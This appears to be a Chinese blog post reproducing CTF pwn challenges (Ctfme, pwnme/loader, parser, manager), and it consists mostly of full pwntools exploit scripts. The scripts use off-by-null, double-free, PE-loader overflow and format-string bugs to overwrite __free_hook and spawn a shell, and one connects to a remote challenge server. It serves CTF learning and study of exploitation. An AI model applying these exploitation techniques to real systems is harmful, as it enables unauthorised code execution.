前言:这次的比赛时间重合了,刚了一下津门杯的一个pwn题,就没再看红帽杯的题了,tcl,因此这次复现是参考了nu1l的wp和白帽社区的wp,题的质量对于我这种菜鸟蛮高的
一、PwnCtfme 此题通过复现算是一个比较常规的堆题了,因为时间原因没看这道题,一个off-by-null,操作看exp吧,出自于nu1l wp
exp:
#coding:utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.sendlineafter('name:','CFM')
p.sendlineafter('password:','123456')
def add(name,size,des,score=None):
p.sendline('1')
p.sendafter('name:',name)
p.sendlineafter("size",str(size))
p.sendafter('des:',des)
if score is not None:
p.sendlineafter("score",str(score))
def dele(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))
def show(idx):
p.sendlineafter('>>','3')
p.sendlineafter('index:',str(idx))
# launch_gdb()
add('aaa',0xf8,'aaa',114514)
for _ in xrange(7):
add('aaa',0xf8,'aaa',114514)
add('aaa',0xf8,'aaa',114514)
add('aaa',0x20,'aaa',114514)
for i in xrange(6):
dele(7)
add('aaa',0xf8,'a'*(0xf8-i),114514)
dele(7)
add('aaa',0xf8,'a'*0xf1 + '\x08',114514)
dele(7) //修改了presize位,前向合并
add('aaa',0xf8,'a'*0xf0,114514)
for i in xrange(1,8):
dele(i)
dele(0)
dele(9)
dele(8)
for i in xrange(8):
add('aaa',0xf8,'/bin/sh',321312)
show(6)
p.recvuntil('des:')
leak_libc = u64(p.recv(6) + '\x00\x00') - 4111520
log.info('leak libc ' + hex(leak_libc))
dele(7)
dele(5)
add('aaa',0x118,'a'*0x100+p64(leak_libc+libc.sym['__free_hook']),11313)
add('aaa',0xf8,p64(leak_libc+libc.sym['system']),123121)
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add('maxbos',0xf8,p64(leak_libc+0x4f3c2),2131)
dele(0)
p.interactive()
**二、pwnme 这道题,不想说啥,一部分考察了逆向分析,一部分是cve,还是刚出来的cve,卷了,卷了,越来越难了。。
在load的函数中的函数里有个**
for ( j = 0; j < v8; ++j )
{
dest = (*(a1 + 0x40) + v10[3]);
memcpy(dest, (*(a1 + 0x30) + v10[5]), v10[4]); //这里可以结合edit的任意写进行越界写
sub_CFE(dest, v10[4], j);
v10 += 10;
}
这就是漏洞点,但是在利用这个之前,前面还要构造一下结构体,进行绕过,本来的我逆向分析就很菜,逆了一天,才逆明白,哎tcl,直接给出nu1l的exp吧
exp:
#coding:utf-8
from pwn import *
p=process('./loader')
libc=ELF('/home/roo/桌面/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
def load(idx,name,size,data):
p.sendlineafter('>> ','1')
p.sendlineafter('index: ',str(idx))
p.sendlineafter('name: ',name)
p.sendlineafter('size: ',str(size))
p.sendlineafter('data: ',data)
def show(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('index: ',str(idx))
def edit(idx,name,vaddr,size,data):
p.sendlineafter('>> ','3')
p.sendlineafter('index: ',str(idx))
p.sendlineafter('name: ',name)
p.sendlineafter('vaddr: ',str(vaddr))
p.sendlineafter('size: ',str(size))
p.sendlineafter('data: ',data)
def run(idx):
p.sendlineafter('>> ','4')
p.sendlineafter('index: ',str(idx))
def delete(idx):
p.sendlineafter('>> ','5')
p.sendlineafter('index: ',str(idx))
def gen_section_header(v_addr,size_of_raw_data,p_to_raw_data):
s=b'a'*0xc+p32(v_addr)+p32(size_of_raw_data)+p32(p_to_raw_data)
s=s.ljust(0x28,b'\x00')
return s
def exploit():
dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
secnumber=1
fileheader=p16(0x14c)+p16(secnumber)
fileheader=fileheader.ljust(0x14,b'\x00')
pe_header=b'PE\x00\x00'+fileheader
pe_header=pe_header.ljust(0xf8,b'\x00')
payload=dos_header+pe_header
payload+=gen_section_header(0,0,0)
load(0,b'maxbos',len(payload),payload)
load(1,b'maxbos',len(payload),payload)
delete(1)
pe_header=b'PE\x00\x00'+fileheader
pe_header=pe_header.ljust(0xf8,b'\x00')
payload=dos_header+pe_header
payload+=gen_section_header(0x168,0,0)
payload=payload.ljust(0x1f8,b'\x00')
load(1,b'maxbos',len(payload+b'a'*0x10),payload+b'a'*0x10)
delete(0)
dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40)
secNumber = 2
fileHeader = p16(0x14c) + p16(secNumber)
fileHeader = fileHeader.ljust(0x14, b'\x00')
pe_header = b'PE\x00\x00' + fileHeader
pe_header = pe_header.ljust(0xf8, b'\x00')
payload = dos_header + pe_header
payload += gen_section_header(0, 0x188, 0)
data = b'z'*0x1f0
data = encrypt_data(data, 1)
payload += gen_section_header(0, len(data), len(dos_header + pe_header) + 0x28*2)
payload += data
payload = payload.ljust(0x6f0, b'\x00')
print (len(payload))
load(0, b'plusls', len(payload), payload)
run(1)
p.recvuntil(b'z'*0x60)
libc_base=u64(p.recvuntil(' is running',drop=True).ljust(8,b'\x00'))-0x3c4cd8
print (hex(libc_base))
load(2,b'ddd',0x18,b'a'*0x18)
dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
secnumber=1
fileheader=p16(0x14c)+p16(secnumber)
fileheader=fileheader.ljust(0x14,b'\x00')
pe_header=b'PE\x00\x00'+fileheader
pe_header=pe_header.ljust(0xf8,b'\x00')
payload=dos_header+pe_header
payload+=gen_section_header(0,0,0)
load(2,b'ff',len(payload),payload)
load(3,b'fff',len(payload),payload)
delete(3)
pe_header=b'PE\x00\x00'+fileheader
pe_header=pe_header.ljust(0xf8,b'\x00')
payload=dos_header+pe_header
payload+=gen_section_header(0x168,0,0)
payload=payload.ljust(0x1f8,b'\x00')
load(3,b'dd',len(payload+b'a'*0x10),payload+b'a'*0x10)
delete(2)
dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
secnumber=2
fileheader=p16(0x14c)+p16(secnumber)
fileheader=fileheader.ljust(0x14,b'\x00')
pe_header=b'PE\x00\x00'+fileheader
pe_header=pe_header.ljust(0xf8,b'\x00')
payload=dos_header+pe_header
payload+=gen_section_header(0,0x188,0)
data=b'F'*0x190+b'q'*0x30+p64(libc_base+libc.sym['__free_hook']+0x8)+p64(0)+p64(libc_base+libc.sym['__free_hook'])+p64(0x1000)
data=encrypt_data(data,1)
payload+=gen_section_header(0,len(data),len(dos_header+pe_header)+0x28*2)
payload+=data
payload=payload.ljust(0x6f0,b'\x00')
load(2,b'maosattack1',len(payload),payload)
edit(3,b'maosattack2',0,0x10,p64(libc_base+libc.sym['system'])+b'/bin/sh\x00')
gdb.attach(p)
delete(3)
def encrypt_data(data,ch):
ret=b''
for i in range(len(data)):
ret += p8(((data[i] - i) % 256) ^ ch ^ 0x39)
return ret
exploit()
p.interactive()
津门杯的题就复现到这吧,像n01是真的不会,连咋运行都不知道咋运行,等有时间再去询问一下大佬
**红帽杯就复现一道,parser
一、parser 这个道题是个格式化漏洞,在进行构建的时候,需要逆向分析一下进行构造参数,进行利用,这里泄露了堆基地址和stack返回地址,再进行预先泄露readgot表,然后进行fmt_payload的打返回地址为onegadget,两字节写入,short,即可,这里也参考一下白帽子的wp**
exp:
from pwn import *
context.log_level = True
context.arch = "amd64"
p = process("./chall")
gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"
p.sendline(payload)
base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8
stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)
log.info("base_addr: " + hex(base_addr))
log.info("stack_addr: " + hex(stack_addr))
print hex(base_addr+0x201F90)
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + p64(base_addr + 0x201F90)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180
log.info("libc_base: " + hex(libc_base))
gadget_addr = libc_base + 0x10a45c
log.info("gadget_addr: " + hex(gadget_addr))
gdb.attach(p)
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + fmtstr_payload(0x59, {stack_addr: gadget_addr}, 2, "short")
p.sendline(payload)
raw_input()
p.recvuntil("> ")
payload =b"getshell"
p.sendline(payload)
p.interactive()
二、manager一个用于二叉树的操作 多调试几遍就能看出来,参考于星盟的wp,自己懒得写了,红帽杯当时没参加
#coding:utf8
from pwn import *
#sh = process('./chall',env = {'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('47.105.94.48',12243)
libc = ELF('./libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
#sh = process('./chall')
def add(key,size,content):
sh.sendlineafter('>','1')
sh.sendlineafter('key>',str(key))
sh.sendlineafter('len>',str(size))
sh.sendafter('content>',content)
def delete(key):
sh.sendlineafter('>','2')
sh.sendlineafter('key>',str(key))
def show():
sh.sendlineafter('>','3')
add(10,0x500,'a'*0x40) #0
add(5,0x40,'b'*0x40) #1
add(4,0x40,'c'*0x40) #2
add(7,0x40,'d'*0x40) #3
add(6,0x40,'e'*0x40) #4
#delete(2)
#delete(5)
delete(10)
add(10,0x500,'a')
show()
sh.recvuntil('key:10 content:')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#double free
delete(5)
add(5,0x40,p64(free_hook_addr))
add(8,0x40,'/bin/sh\x00')
add(9,0x40,p64(system_addr))
#getshell
delete(8)
sh.interactive()
红帽杯由于附件不全原因先复现到这个题吧
总结:这次的津门杯题的质量虽然算难,但是能帮助我这种菜鸡能学到不少东西,红帽杯的话,当时没参加,两道题难度还算容易,就是一道vm题,我看大佬的vm复现,也没看懂,考察的是什么,真心不懂,。。,嘿嘿!!!。。